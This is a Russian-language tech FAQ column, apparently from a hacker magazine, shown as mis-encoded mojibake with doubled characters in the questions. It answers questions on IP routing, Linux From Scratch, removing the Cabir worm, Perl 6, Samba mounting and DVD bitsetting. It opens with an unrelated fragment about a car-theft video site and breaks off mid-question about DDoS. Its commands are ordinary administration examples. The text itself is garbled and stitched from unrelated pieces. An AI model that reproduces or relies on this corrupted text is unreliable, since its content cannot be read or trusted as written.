îðóæèÿ ðàçëè÷íîãî âðåìåíè è íàçíà÷åíèÿ, åñòü
äàæå ìóçåè ïèâíûõ áóòûëîê. Íî ñåé÷àñ ðå÷ü ïîé-
äåò íåìíîãî î äðóãîì. Ïåðåä òîáîé ðåñóðñ, ÿâëÿ-
þùèéñÿ âèðòóàëüíûì ìóçååì àâòîóãîíîâ. Íà
ñàéòå ñîáðàíû â åäèíîå öåëîå 1000 è 1 ñïîñîá
óãîíà àâòîìîáèëÿ, èñòîðèè ïðî ðàçëè÷íûå äèêî-
âèííûå ñïîñîáû êðàæè ÷åòûðåõêîëåñíûõ ñðåäñòâ
ïåðåäâèæåíèÿ. Ïîáðîäèâ ïî ñàéòó, ÿ íàòêíóëñÿ íà
îáøèðíóþ êîëëåêöèþ âèäåî, ñîáðàííóþ ñî âñåõ
êîíöîâ ñâåòà è ïðåäñòàâëÿþùóþ ñîáîé ðàçëè÷-
íûå èíòåðåñíåéøèå ñïîñîáû êðàæ àâòîìîáèëåé,
ïîäñìîòðåííûõ ëèáî ñêðûòûìè âèäåîêàìåðàìè,
ëèáî ñíÿòûõ ñëó÷àéíûìè î÷åâèäöàìè 
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QQ:: ××òòîî òòààêêîîåå ääèèííààììèè÷÷ååññêêààÿÿ ììààððøøððóóòòèèççààööèèÿÿ èè ääëëÿÿ ÷÷ååããîî îîííàà ïïððèèììååííÿÿååòòññÿÿ??
A: IP-ìàðøðóòèçàöèÿ � ýòî ïðîöåññ äîñòàâêè ïàêåòîâ âíóòðè ñåòè íà îñ-
íîâå ñïåöèàëüíûõ ïðàâèë (ìàðøðóòîâ). Åñëè ñåòü ñîñòîèò âñåãî èç íåñ-
êîëüêèõ ìàøèí, òî ïðîáëåì ñ äîñòàâêîé ïàêåòîâ áûòü íå äîëæíî. Òðóäíîñ-
òè íà÷èíàþòñÿ, êîãäà ëîêàëêà ïðåäñòàâëÿåò ñîáîé ñîåäèíåíèå íåñêîëüêèõ
ïîäñåòåé, â êàæäóþ èç êîòîðûõ âõîäÿò äåñÿòêè èëè äàæå ñîòíè êîìïüþòå-
ðîâ. Â ýòîì ñëó÷àå íåîáõîäèìî èñïîëüçîâàòü ðîóòåðû, ìàðøðóòèçèðóþ-
ùèå ïàêåòû èç îäíîé ïîäñåòè â äðóãóþ. Íà ðîóòåðàõ ìîãóò áûòü ïðîïèñà-
íû ïðàâèëà ñòàòè÷åñêîé ìàðøðóòèçàöèè � ýòè ïðàâèëà æåñòêî çàôèêñè-
ðîâàíû è íå ìîãóò èçìåíÿòüñÿ. Òàêàÿ ñèñòåìà îòëè÷íî ðàáîòàåò äî òåõ ïîð,
ïîêà îäèí èç íèõ íå âûõîäèò èç ñòðîÿ � â ýòîì ñëó÷àå ÷àñòü ìàðøðóòîâ
âåäóò «â íèêóäà». Îáúÿñíÿþ íà ïðèìåðå. Ïðåäñòàâü, ÷òî ó íàñ åñòü òðè
ìàðøðóòèçàòîðû A, B è C, êàæäûé èç êîòîðûõ îáñëóæèâàåò ñâîé Ethernet-
ñåãìåíò êëàññà C (ìàñêà ïîäñåòè 255.255.255.0). Êðîìå òîãî, êàæäûé
ìàðøðóòèçàòîð èìååò PPP-ñîåäèíåíèå (íàïðèìåð, ÷åðåç ìîäåì) ñ äâóìÿ
äðóãèìè, òî åñòü ñåòü èìååò âèä òðåóãîëüíèêà. Òàêèì îáðàçîì, ïðàâèëà
ìàðøðóòèçàöèè íà ðîóòåðå À ìîãóò áûòü çàäàíû ñëåäóþùèì îáðàçîì:

# route add -net 192.168.1.0 netmask 255.255.255.0 eth0
# route add -net 192.168.2.0 netmask 255.255.255.0 ppp0
# route add -net 192.168.3.0 netmask 255.255.255.0 ppp1

Ýòî î÷åíü ïðîñòîé ñëó÷àé, è òàêàÿ ñèñòåìà ñîâåðøåííî òî÷íî áóäåò îò-
ëè÷íî ðàáîòàòü. Íî ÷òî áóäåò, åñëè ñâÿçü ìåæäó ðîóòåðàìè A è B îáîð-
âåòñÿ? Â ýòîì ñëó÷àå êîìïüþòåðû èç ñåòè A óæå íå ñìîãóò «äîñòó÷àòü-
ñÿ» äî ìàøèíàìè èç ñåãìåíòà B, òàê êàê ìàðøðóòèçàòîð áóäåò ïûòàòüñÿ
ïåðåäàòü ïàêåòû ïî íåñóùåñòâóþùåìó ñîåäèíåíèþ ppp0. Ñ äðóãîé ñòî-
ðîíû, îíè ïî-ïðåæíåìó ñìîãóò ñâÿçàòüñÿ ñ êîìïüþòåðàìè èç ñåãìåíòà
C, à òå â ñâîþ î÷åðåäü � ñ ìàøèíàìè èç ñåãìåíòà B. Òàê ïî÷åìó áû
ýòèì íå âîñïîëüçîâàòüñÿ è âðåìåííî èçìåíèòü ìàðøðóòû, ÷òîáû ïàêå-
òû äëÿ ñåãìåíòà B ïåðåäàâàëè ÷åðåç ìàðøðóòèçàòîð C? Ñîáñòâåííî, èç-
ìåíåíèå ìàðøðóòîâ â çàâèñèìîñòè îò òåêóùåé êîíôèãóðàöèè ñåòè �
ýòî è åñòü îñíîâíîé ïðèíöèï äèíàìè÷åñêîé ìàðøðóòèçàöèè, ðåàëèçî-
âàííîé â ïðîòîêîëàõ RIP (Ïðîòîêîë Èíôîðìàöèè î Ìàðøðóòèçàöèè) è
OSPF (Ïðîòîêîë Êðàò÷àéøåãî Îòêðûòîãî Ïóòè).

QQ:: ÍÍååêêîîòòîîððûûåå ëëþþääèè ññîîááèèððààþþòò ññââîîèè ññîîááññòòââååííííûûåå ääèèññòòððèèááóóòòèèââûû LLiinnuuxx..
ÓÓììàà ííåå ïïððèèëëîîææóó,, êêààêêèèìì îîááððààççîîìì îîííèè ýýòòîî ääååëëààþþòò �� ííååóóææååëëèè ««ññ ííóóëëÿÿ»»??
A: À ïî÷åìó áû, ñîáñòâåííî, íåò? Äëÿ ÷åëîâåêà, íå ïîíàñëûøêå çíàêî-
ìîãî ñ àðõèòåêòóðîé Linux, � ýòî âïîëíå ðåàëüíàÿ çàäà÷à. Òåì æå, êòî
òîëüêî íà÷èíàåò îñâàèâàòü âíóòðåííîñòè ïèíãâèíà, îáÿçàòåëüíî äîëæ-
íû ïðèéòèñü ïî äóøå ñêðèïòû îò èçâåñòíîãî ñàéòà Linux From Scratch
(www.linuxfromscratch.org). Äàííûé ðåñóðñ ïîääåðæèâàåò 3 îñíîâíûõ ïðî-

faq
-unitÇÀÄÀÂÀß ÂÎÏÐÎÑ, ÏÎÄÓÌÀÉ! ÍÅ ÑÒÎÈÒ ÌÍÅ ÏÎÑÛ-

ËÀÒÜ ÂÎÏÐÎÑÛ, ÒÀÊ ÈËÈ ÈÍÀ×Å ÑÂßÇÀÍÍÛÅ Ñ ÕÀ-
ÊÎÌ/ÊÐÝÊÎÌ/ÔÐÈÊÎÌ � ÄËß ÝÒÎÃÎ ÅÑÒÜ HACK-FAQ
(HACKFAQ@REAL.XAKEP.RU), ÍÅ ÑÒÎÈÒ ÒÀÊÆÅ ÇÀÄÀ-
ÂÀÒÜ ÎÒÊÐÎÂÅÍÍÎ ËÀÌÅÐÑÊÈÅ ÂÎÏÐÎÑÛ, ÎÒÂÅÒ ÍÀ
ÊÎÒÎÐÛÅ ÒÛ ÏÐÈ ÎÏÐÅÄÅËÅÍÍÎÌ ÆÅËÀÍÈÈ ÌÎ-
ÆÅØÜ ÍÀÉÒÈ È ÑÀÌ. ß ÍÅ ÒÅËÅÏÀÒ, ÏÎÝÒÎÌÓ ÊÎÍÊ-
ÐÅÒÈÇÈÐÓÉ ÂÎÏÐÎÑ, ÏÐÈÑÛËÀÉ ÊÀÊ ÌÎÆÍÎ ÁÎËÜ-
ØÅ ÈÍÔÎÐÌÀÖÈÈ.



åêòà: LFS, ALFS (Automated LFS) � íàáîð ñêðèïòîâ äëÿ ñàìûõ ëåíèâûõ,
êîòîðûå íå õîòÿò ãëóáîêî âíèêàòü â ïðîöåññ ñîçäàíèÿ äèñòðèáóòèâà, è
BLFS � èíñòðóìåíò äëÿ ïðîôè, ñîäåðæàùèé â ñåáå áîëüøîå êîëè÷åñò-
âî ïàêåòîâ è ïðèëîæåíèé, èç êîòîðûõ ìîæíî ñîçäàòü ìîùíóþ LFS-ñèñ-
òåìó. Ñ ïîìîùüþ ëþáîãî íàáîðà ýòèõ ñêðèïòîâ ìîæíî ëåãêî ñîçäàòü òà-
êîé äèñòðèáóòèâ, êîòîðûé áóäåò çàíèìàòü æàëêèõ 100�200 Ìáàéò, íî
ðàáîòàòü íè÷óòü íå õóæå, ÷åì íàâîðî÷åííûå Mandrake è äðóãèå ïîäîá-
íûå äèñòðèáóòèâû. À åñëè òû åùå íå óñïåë îñíîâàòåëüíî ïîçíàêîìèòü-
ñÿ ñ ëèíóêñîì, òî ðåêîìåíäóþ îïðîáîâàòü ýòè ñêðèïòû â îáÿçàòåëüíîì
ïîðÿäêå. Î âíóòðåííåì óñòðîéñòâå îñè òû ñîâåðøåííî òî÷íî óçíàåøü
ìíîãî íîâîãî.

QQ:: ÍÍååääààââííîî óóççííààëë,, ÷÷òòîî ääëëÿÿ îîááîîççííàà÷÷ååííèèÿÿ êêîîííööàà ññòòððîîêêèè ââ UUnniixx- èè WWiinnddoowwss-
ññèèññòòååììààõõ èèññïïîîëëüüççóóþþòòññÿÿ ððààççííûûåå ññèèììââîîëëûû.. ÏÏîî÷÷ååììóó??
A: Äåéñòâèòåëüíî, â DOS è Windows êîíåö ñòðîêè îáîçíà÷àåòñÿ ñðàçó
äâóìÿ ñèìâîëàìè � âîçâðàòà êàðåòêè (<CR>) è ïåðåâîäà ñòðîêè
(<LF>). Â òîæå âðåìÿ â UNIX èñïîëüçóåòñÿ òîëüêî îäèí èç íèõ � ñèì-
âîë ïåðåâîäà ñòðîêè. Â Mac OS X òàêæå èñïîëüçóåòñÿ òîëüêî îäèí

ñèìâîë, íî óæå ñèìâîë âîçâðàòà êàðåòêè. Ñëîæíî ñêàçàòü, ïî÷åìó ñëî-
æèëîñü èìåííî òàê, à íå èíà÷å. 
Ýòî òðàäèöèÿ, êîòîðàÿ áåðåò ñâîè êîðíè åùå ìíîãî ëåò íàçàä è
âðÿä ëè êîãäà-ëèáî èçìåíèòüñÿ. Íî îïàñàòüñÿ ýòîãî íå ñòîèò. Áîëü-
øèíñòâî òåêñòîâûõ ðåäàêòîðîâ (UltraEdit � www.ultraedit.com,
EmEditor � www.emeditor.com, âñòðîåííûé ðåäàêòîð â ôàéëîâîì
ìåíåäæåðå FAR), êîìïèëÿòîðîâ è ëþáîé äðóãîé ïðîôåññèîíàëüíûé
ñîôò îòëè÷íî ðàñïîçíàåò èñïîëüçóåìûé â ôàéëå ñèìâîë êîíöà
ñòðîêè è êîððåêòíî åãî îáðàáàòûâàåò.

QQ:: ××òòîî ççàà ììîîááèèëëüüííûûéé ââèèððóóññ CCaabbiirr èè êêààêê ååããîî óóääààëëèèòòüü èèçç òòååëëååôôîîííàà?? 
A: Worm.SymbOS.Cabir.a, êàê åãî èäåíòèôèöèðóþò â ëàáîðàòîðèè Êàñ-
ïåðñêîãî, ÿâëÿåòñÿ ïåðâûì âèðóñîì, êîòîðûé äëÿ ðàñïðîñòðàíåíèÿ èñ-
ïîëüçóåò ñëàáûå ìåñòà Bluetooth. 
Óÿçâèìîé ÿâëÿåòñÿ ïîïóëÿðíàÿ ïëàòôîðìà Symbian Series 60, íà êîòîðîé
îñíîâàíû ìíîãèå ïîïóëÿðíûå ñìàðòôîíû. Òàêèõ òðóáîê íå î÷åíü ìíîãî
â Ðîññèè, òåì íå ìåíåå, â Ìîñêâå ñëó÷àè çàðàæåíèÿ ýòèì âèðóñîì ñëó÷à-
ëèñü íå ðàç. Ñðàçó ñêàæó: îïàñíîñòè îí íèêàêîé íå íåñåò. Ïðè êàæäîì
âêëþ÷åíèè çàðàæåííîãî òåëåôîíà ÷åðâü ïîëó÷àåò óïðàâëåíèå è íà÷èíà-
åò ñêàíèðîâàòü ñïèñîê àêòèâíûõ Bluetooth-ñîåäèíåíèé. Çàòåì ÷åðâü âû-
áèðàåò ïåðâîå äîñòóïíîå ñîåäèíåíèå èç ñïèñêà è ïûòàåòñÿ ïåðåäàòü òó-

äà èñïîëíÿåìûé ôàéë caribe.sis. Â ýòîì ñëó÷àå ó ïîëüçîâàòåëÿ ïðèíèìà-
þùåãî òåëåôîíà íà ýêðàí âûâîäèòñÿ ñîîáùåíèå ñ ïðåäëîæåíèåì ïðè-
íÿòü ñîîáùåíèå. Åäèíñòâåííîå, ÷åì ìîæåò íàñîëèòü ÷åðâü, ýòî íåáîëü-
øîå ïîäòîðìàæèâàíèå òåëåôîíà è áûñòðàÿ ðàçðÿäêà áàòàðåè èç-çà ïîñ-
òîÿííîãî Bluetooth-ñêàíèðîâàíèÿ. Äëÿ òîãî ÷òîáû óáèòü âèðóñ, äîñòàòî÷-
íî ñêà÷àòü óòèëèòó Decabir (www.kaspersky.com/downloads/wap/down-
loads/decabir.sis), èëè æå âðó÷íóþ óäàëèòü ôàéëû èç ïàïîê:

c:/system/symbiansecuredata/caribesecuritymanager/
c:/system/recogs/ è 
e:/system/apps/caribe/

QQ:: ÃÃððÿÿääååòò ððååëëèèçç 66-îîéé ââååððññèèèè PPeerrll �� êêààêêîîéé îîíí ááóóääååòò,, èè ÷÷òòîî èèççììååííèèòòññÿÿ??
A: Ñàìîå ãëàâíîå: Perl ñòàíåò åùå áîëåå îáúåêòíî-îðèåíòèðîâàííûì.
Áîëüøèíñòâî íîâîââåäåíèé ñâÿçàíî èìåííî ñ ýòèì ìîìåíòîì, ïîýòî-
ìó ÿ äàæå íå áóäó èõ óïîìèíàòü. Åñëè òû áîëüøîé ïðèâåðæåíåö îáú-
åêòíî-îðèåíòèðîâàííîãî ïîäõîäà, òî òåáÿ îáÿçàòåëüíî ïîðàäóþò
ôèøêè, ïåðåíÿòûå îò C++ è Java. Ñ äðóãîé ñòîðîíû, íèêòî íå çàñòà-

âèò ïèñàòü ÷åðåç îáúåêòû àáñîëþòíî âñå � ìîæåøü ïðîäîëæàòü ïðîã-
ðàììèðîâàòü òî÷íî òàê æå, êàê òû ýòî äåëàë ðàíåå. Òåì áîëåå ÷òî
Ëàððè Óîëë (ñîçäàòåëü ÿçûêà) ïîîáåùàë, ÷òî Perl îñòàíåòñÿ ñàìèì
ñîáîé, õîòÿ è ïðèîáðåòåò ðÿä íîâûõ äîñòîèíñòâ. Â ÷àñòíîñòè, áóäóò
íåñêîëüêî èçìåíåíû ðåãóëÿðíûå âûðàæåíèÿ (www-128.ibm.com/devel-
operworks/linux/library/l-cpregex.html), à ôóíêöèè íàêîíåö-òî ñìîãóò ïî-
ëó÷àòü ïàðàìåòðû ÷åðåç ïåðåìåííûå, à íå ÷åðåç ïðåñëîâóòóþ
êîíñòðóêöèþ @_. Åùå îäíî íîâøåñòâî çàêëþ÷àåòñÿ â òîì, ÷òî ïðîã-
ðàììû ñìîãóò áûòü êîìïèëèðîâàíû â áàéò-êîä. Ýòî íå òîëüêî óâåëè-
÷èò ñêîðîñòü èõ âûïîëíåíèÿ, íî ïðåäîñòàâèò æåëàííóþ âîçìîæíîñòü
ñïðÿòàòü èñõîäíûå òåêñòû îò ïîñòîðîííèõ ãëàç. 6-àÿ âåðñèÿ Perl'à áó-
äåò êîðåííûì îáðàçîì îòëè÷àòüñÿ îò òîãî, ÷òî ìû âèäåëè ðàíåå. Â òî
æå âðåìÿ ýòî áóäåò ïîñëåäíèé ðàç, êîãäà Perl áóäåò ïîäâåðãàòüñÿ ãëî-
áàëüíîìó ðåôîðìèðîâàíèþ � òàê ñêàçàòü, ðàç è íàâñåãäà. Ïîäðîáíåå
î Perl6 ìîæåøü ïðî÷èòàòü íà ñàéòàõ: dev.perl.org/perl6, www.perl6.ru. À
åñëè õî÷åøü ïîïðîáîâàòü ÷àñòü íîâîââåäåíèé, òî óñòàíîâè íà ñâîåé
ìàøèíå PXPerl (www.codeproject.com/tools/pxperl.asp).

QQ:: ÌÌííåå ííóóææååíí õõîîððîîøøèèéé øøååëëëë,, ííàà êêîîòòîîððîîìì ÿÿ ññììîîããóó êêîîììïïèèëëèèððîîââààòòüü èè ââûû-
ïïîîëëííÿÿòòüü ëëþþááûûåå CC++++-ïïððèèëëîîææååííèèÿÿ.. ÎÎááûû÷÷ííîîããîî sshheellll''àà ììííåå ììààëëîî,, ïïîîýýòòîîììóó
õõîî÷÷óó êêóóïïèèòòüü ññååááåå ââèèððòòóóààëëüüííûûéé ââûûääååëëååííííûûéé ññååððââååðð.. ÂÂîî ââððååììÿÿ ââûûááîîððàà ïïîî- [X
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ÿÿââèèëëññÿÿ ââîîïïððîîññ:: îîääííèè ïïððîîââààééääååððûû îîááîîççííàà÷÷ààþþòò ýýòòóó óóññëëóóããóó VVPPSS.. ÄÄððóóããèèåå ��
VVDDSS?? ÀÀ ââ ÷÷ååìì ððààççííèèööàà??
A: Íà ñàìîì äåëå, ýòî îäíî è òîæå. È VPS (Virtual Private Server), è VDS
(Virtual Dedicated Server) ïðåäîñòàâëÿþò òåáå ïîëíûé ðóò-øåëë è íå-
áîëüøóþ ÷àñòü ðåñóðñîâ óäàëåííîé ìàøèíû. Âòîðîå íàçâàíèå òåõíîëî-
ãèè ïîÿâèëîñü èç-çà íåæåëàíèÿ ìåëêèõ õîñòèíã-êîìïàíèé ïîêóïàòü ïà-
òåíòû íà èñïîëüçîâàíèå ýòîé óñëóãè. È ïîëó÷èëîñü, ÷òî îáîçíà÷åíèå
VPS áîëåå ðàñïðîñòðàíåíî íà çàïàäå, à VDS îáû÷íî èñïîëüçóåòñÿ îòå-
÷åñòâåííûìè õîñòåðàìè.

QQ:: ÂÂ ÈÈííòòååððííååòòåå èè ââ ããààççååòòààõõ ññååéé÷÷ààññ ïïóóááëëèèêêóóååòòññÿÿ îîããððîîììííîîåå êêîîëëèè÷÷ååññòòââîî
ïïððèèââëëååêêààòòååëëüüííûûõõ îîááúúÿÿââëëååííèèéé ïïîî ïïîîââîîääóó ññîîòòîîââîîéé ññââÿÿççèè.. ÎÎääííîî èèçç ííèèõõ ��
««ââññåå ââõõîîääÿÿùùèèåå ççââîîííêêèè ïïîî ööååííåå ââííóóòòððèèññååòòååââûûõõ»».. ÎÎááúúÿÿññííèèòòåå,, êêààêê ýýòòîî ââîîçç-
ììîîææííîî?? ÄÄëëÿÿ ììååííÿÿ ýýòòîî îî÷÷ååííüü ààêêòòóóààëëüüííîî,, òòààêê êêààêê ììííåå îî÷÷ååííüü ììííîîããîî ççââîîííÿÿòò
ññ ääîîììààøøííèèõõ òòååëëååôôîîííîîââ,, ÷÷òòîî,, ååññòòååññòòââååííííîî,, ââëëååòòààååòò ââ êêîîïïåååå÷÷êêóó..
A: Íà ñàìîì äåëå, íè÷åãî ñâåðõúåñòåñòâåííîãî â òàêîé ñõåìå íåò. Íà
òâîé ãîðîäñêîé íîìåð ïîïðîñòó óñòàíàâëèâàåòñÿ ñïåöèàëüíûé äå-
âàéñ (òàê íàçûâàåìûé ìîñò), êîòîðûé, èñïîëüçóÿ åùå îäèí ñîòîâûé
òåëåôîí, ïåðåíàïðàâëÿåò çâîíêè íà òâîþ íàñòîÿùóþ ìîáèëó. Êîãäà
ïîñòóïàåò çâîíîê íà äîìàøíèé òåëåôîí, ìîñò ñ ïîìîùüþ âòîðîãî ñî-
òîâîãî òåëåôîíà äîçâàíèâàåòñÿ äî òåáÿ è ïî ñïåöèàëüíîé ñõåìå íà-
÷èíàåò òðàíñëèðîâàòü ãîëîñ ñ äîìàøíåãî òåëåôîíà íà ñîòîâûé è, ñî-
îòâåòñòâåííî, ñ ñîòîâîãî íà äîìàøíèé. Ïðè òàêîì ðàñêëàäå òû îïëà-
÷èâàåøü òîëüêî èñõîäÿùèå çâîíêè ñ ìîáèëüíèêà, êîòîðûé óñòàíîâ-
ëåí äîìà. À òàê êàê âíóòðèñåòåâûå çâîíêè òðàäèöèîííî òàðèôèöèðó-
þòñÿ äåøåâëå âñåãî (îñîáåííî âêóïå ñ óñëóãîé «ëþáèìûé íîìåð»),
íà ýòîì äåëå ìîæíî ïðèëè÷íî ñýêîíîìèòü.
Áîëåå òîãî, áîëüøèíñòâî ïðèáîðîâ ïîääåðæèâàþò ýòó æå ñàìóþ ñõå-
ìó, íî â îáðàòíîì  íàïðàâëåíèè. Òî åñòü òû íå òîëüêî ìîæåøü ïðèíè-
ìàòü çâîíêè ñ ãîðîäñêèõ òåëåôîíîâ, íî è çâîíèòü íà íèõ, îïëà÷èâàÿ
ëèøü ðàçãîâîðû âíóòðè ñåòè.
Ïðèìåðîì ïîäîáíîãî óñòðîéñòâà ÿâëÿåòñÿ MobiFox 696, êîòîðûé ëåãêî
ìîæíî íàéòè â Ìîñêâå. Çàìå÷ó, ÷òî îí óìååò ðàáîòàòü â ìíîãîïîëüçîâà-
òåëüñêîì ðåæèìå è âûïîëíÿòü ðîëü ñâîåîáðàçíîé ìèíè-ÀÒÑ. Â ýòîì
ñëó÷àå, ïîñëå íàáîðà äîìàøíåãî íîìåðà çâîíÿùåìó ïðèäåòñÿ íàáèðàòü
åùå äîáàâî÷íûé íîìåð, êîòîðûé ïðèïèñàí ê íóæíîìó åìó àáîíåíòó.
Ñòîèò òàêîé äåâàéñ îêîëî 100$, íå ñ÷èòàÿ ñòîèìîñòè äîïîëíèòåëüíîãî
ñîòîâîãî òåëåôîíà, êîòîðûé îáîéäåòñÿ åùå â 30�50$

QQ:: ÂÂ ááëëèèææààééøøåååå ââððååììÿÿ ññîîááèèððààþþññüü ïïððèèîîááððååññòòèè ììóóëëüüòòèèôôîîððììààòòííûûéé DDVVDD-
RRWW ïïððèèââîîää.. ÄÄððóóççüüÿÿ ïïîîññîîââååòòîîââààëëèè ááððààòòüü òòîîëëüüêêîî òòåå ììîîääååëëèè,, êêîîòòîîððûûåå ïïîîää-
ääååððææèèââààþþòò ôôóóííêêööèèþþ BBiittsseettttiinngg,, ííîî òòîîëëêêîîââîî îîááúúÿÿññííèèòòüü,, ççàà÷÷ååìì îîííàà ííóóææííàà,,
òòààêê èè ííåå ññììîîããëëèè�� ::)) ××òòîî ññêêààææååøøüü??
A: Òû êîãäà-íèáóäü ïðîáîâàë âîñïðîèçâåñòè ñâåæåçàïèñàííóþ áîëâàí-
êó â ñòàðîé ìîäåëè ìàãíèòîëû èëè DVD-ïëååðà? Ñêîðåå âñåãî, íè÷åãî
õîðîøåãî èç ýòîé çàòåè íå âûøëî, òàê êàê áîëüøèíñòâî äðåâíåé òåõíè-
êè ïîïðîñòó îòêàçûâàþòñÿ ñ íèìè ðàáîòàòü. 
Âîò êàê ðàç â ýòîì ñëó÷àå è áóäåò ïîëåçíîé ïîääåðæêà ôóíêöèè
Bitsetting, êîòîðàÿ ïîçâîëÿåò èçìåíèòü áèò, îòâå÷àþùèé çà òèï íî-
ñèòåëÿ (ROM, -R, +R), � òàê íàçûâàåìûé Book Type. Ýòîò áèò íà-
õîäèòñÿ â Lead-in îáëàñòè äèñêà è ìîæåò ïðèíèìàòü îäíî èç òðåõ
çíà÷åíèé. Íî èçìåíèòü åãî ìîæíî òîëüêî â ñëó÷àå èñïîëüçîâàíèÿ
DVD+R áîëâàíîê, òàê êàê ó DVD-R îí ñòðîãî ïðîïèñàí ïî óìîë÷à-
íèþ. Åñëè õî÷åøü, ÷òîáû äèñê ãàðàíòèðîâàíî ïðî÷èòàëñÿ íà ëþ-
áîì, äàæå ñàìîì äðåâíåì ïëååðå, íåîáõîäèìî óñòàíîâèòü Book
Type ðàâíûì DVD-ROM. Îïûòíûå ãèêè ðåêîìåíäóþò óñòàíàâëèâàòü
Book Type è äëÿ äâóõñëîéíûõ (DVD+R9 DL) áîëâàíîê, òàê êàê â ïðî-
òèâíîì ñëó÷àå îíè âïîëíå ìîãóò íå ïðî÷èòàåòñÿ äàæå íà ñàìûõ
ñîâðåìåííûõ DVD-ïëååðàõ.

QQ:: ÎÎááúúÿÿññííèè,, êêààêê èèçç ëëèèííóóêêññàà ììîîææííîî ïïîîääêêëëþþ÷÷èèòòüüññÿÿ êê ððààññøøààððååííííûûìì ððååññóóðð-
ññààìì WWiinnddoowwss êêîîììïïüüþþòòååððàà??
A: Ëþáûå äåéñòâèÿ ñ share-ðåñóðñàìè â Linux'å îñóùåñòâëÿþòñÿ ñ ïî-
ìîùüþ ñïåöèàëüíîãî íàáîðà óòèëèò Samba. Ïðè ýòîì âîçìîæíà ðàáî-
òà íå òîëüêî â êà÷åñòâå êëèåíòà, òî åñòü ïîäêëþ÷åíèå ê óäàëåííûì ðå-
ñóðñàì, íî è ñåðâåðà, êîãäà ðàñøàðåííûå ïàïêè ñîçäàþòñÿ íåïîñðåä-
ñòâåííî â Linux'å. Äëÿ äîñòóïà ê ïîäîáíûì ðåñóðñàì èñïîëüçóþòñÿ óòè-
ëèòû smbclient, smbmount è smbumount. Ïðåäëàãàþ êðàòêî îñòàíîâèò-
ñÿ íà êàæäîé èç íèõ.
Ïåðâàÿ ïðîãà � smbclient � ïðåäñòàâëÿåò ñîáîé óäîáíóþ êîíñîëüíóþ
óòèëèòó äëÿ ðàáîòû ñ óäàëåííûìè ðåñóðñàìè è ñâîèì âíåøíèì âèäîì
ñèëüíî íàïîìèíàåò FTP-êëèåíò. ß ÷àùå âñåãî èñïîëüçóþ åå äëÿ ïðîñ-
ìîòðà ñïèñêà ðàñøàðåííûõ ðåñóðñîâ óäàëåííîãî êîìïüþòåðà. Åñëè
èìÿ ýòîãî êîìïüþòåðà SERVER, òî ñäåëàòü ýòî ìîæíî ñëåäóþùèì îá-
ðàçîì:

# smbclient -L SERVER

Èíîãäà áûâàåò íåîáõîäèìî äîïîëíèòåëüíî óêàçàòü èìÿ ïîëüçîâàòåëÿ, è
â ýòîì ñëó÷àå êîìàíäà âûãëÿäèò ïðèìåðíî òàê:

# smbclient -U user -L SERVER

Ïîñëå òîãî, êàê èíôîðìàöèÿ îá îòêðûòûõ ðåñóðñàõ ïîëó÷åíà, ìîæíî
ïðèìîíòèðîâàòü îäíó èç ïàïîê, âîñïîëüçîâàâøèñü ñïåöèàëüíîé óòèëè-
òîé smbmount. Îáùèé ñèíòàêñèñ êîìàíäû èìååò ñëåäóþùèé âèä: smb-
mount <àäðåñ ïàïêè> <òî÷êà ìîíòèðîâàíèÿ> -o username=<èìÿ ïîëüçî-
âàòåëÿ>,password=<ïàðîëü>. Òàêèì îáðàçîì, ïîäêëþ÷èòü óäàëåííóþ
ïàïêó //server/share_folder ìîæíî ñ ïîìîùüþ ñëåäóþùåé êîìàíäû:

#smbmount //server/share_folder /mnt/share_folder -o username=step,pass-
word=pass

Åñòåñòâåííî, ÷òî ïåðåä åå âûïîëíåíèåì íóæíî ïîçàáîòèòüñÿ î ñóùåñò-
âîâàíèè /mnt/share_folder. 
×òî êàñàåòñÿ ïîñëåäíåé êîìàíäû smbumount, òî ïîçâîëÿåò ðàçìîíòè-
ðîâàòü ôàéëîâóþ ñèñòåìó, ñìîíòèðîâàííóþ êîìàíäîé smbmount. Êî-
íå÷íî, ýòî ìîæíî áûëî áû ñäåëàòü ñ ïîìîùüþ ñòàíäàðòíîé êîìàíäû
umount, íî åå, êàê èçâåñòíî, âïðàâå âûïîëíÿòü èñêëþ÷èòåëüíî àäìèíè-
ñòðàòîð, òî åñòü root.
Èñïîëíÿåì:

$ smbumount /mnt/share_folder

QQ:: ÏÏîîññîîââååòòóóéé,, ïïîîææààëëóóééññòòàà,, õõîîððîîøøèèéé ôôààééëëîîââûûéé ììååííååääææååðð ääëëÿÿ ÊÊÏÏÊÊ
((ïïëëààòòôôîîððììàà PPoocckkeettPPCC))
A: Íå ñåêðåò, ÷òî ñóùåñòâóåò óéìà ñàìûõ ðàçíîîáðàçíûõ øåëëîâ äëÿ
êàðìàííûõ êîìïüþòåðîâ. Íî â ïîñëåäíåå âðåìÿ ÿ îñîáåííî ïîäñåë íà
Resco Explorer 2003: ïðîñòî ðàçðàáîò÷èêè ñäåëàëè âñå èìåííî òàê, êàê
áû ñäåëàë ÿ :). Âî-ïåðâûõ, ýòî õîðîøèé íàáîð ïîëåçíûõ ôóíêöèé: îòê-
ðûòèå ôàéëà ñ ïîìîùüþ ïðîèçâîëüíîé ïðîãðàììû, óäîáíàÿ óñòàíîâêà
àññîöèàöèé ôàéëîâ è ïðèëîæåíèé, âñòðîåííûé ZIP-àðõèâàòîð, øóñòðàÿ
ñìîòðåëêà ãðàôè÷åñêèõ ôàéëîâ. Âî-âòîðûõ, î÷åíü êà÷åñòâåííàÿ ðåàëè-
çàöèÿ óäàëåííîé ïåðåäà÷è äàííûõ ÷åðåç FTP, Bluetooth è Wi-Fi. Òàê, äëÿ
òîãî ÷òîáû ïåðåäàòü ôàéë ÷åðåç Bluetooth, ïîòðåáóåòñÿ âñåãî 3 êëèêà �
â îòëè÷èå îò äðóãèõ ôàéëîâûõ ìåíåäæåðîâ, ãäå äëÿ ýòîãî ïðèøëîñü áû
êîïàòüñÿ â ìíîãî÷èñëåííûõ ìåíþøêàõ (ýõ, ïîðòèðîâàëè áû ïîä ÊÏÊ
Norton commander 5.0 � ïðèì. Ëîçîâñêîãî). Ïîìèìî ýòîãî, ïðèâëåêàåò
è âíåøíèé âèä: Resco Explorer ñèëüíî íàïîìèíàåò ïðîâîäíèê Windows
ïîääåðæèâàåò Drag'n'Drop è èìååò óäîáíûé ïîèñê ôàéëîâ.

QQ:: ÌÌîîéé ññààééòò ïïîîññòòîîÿÿííííîî DDDDooSS''ÿÿòò,, ïïððèè÷÷ååìì ááîîòòííååòòûû ïïððååèèììóóùùååññòòââååííííîî ííàà-
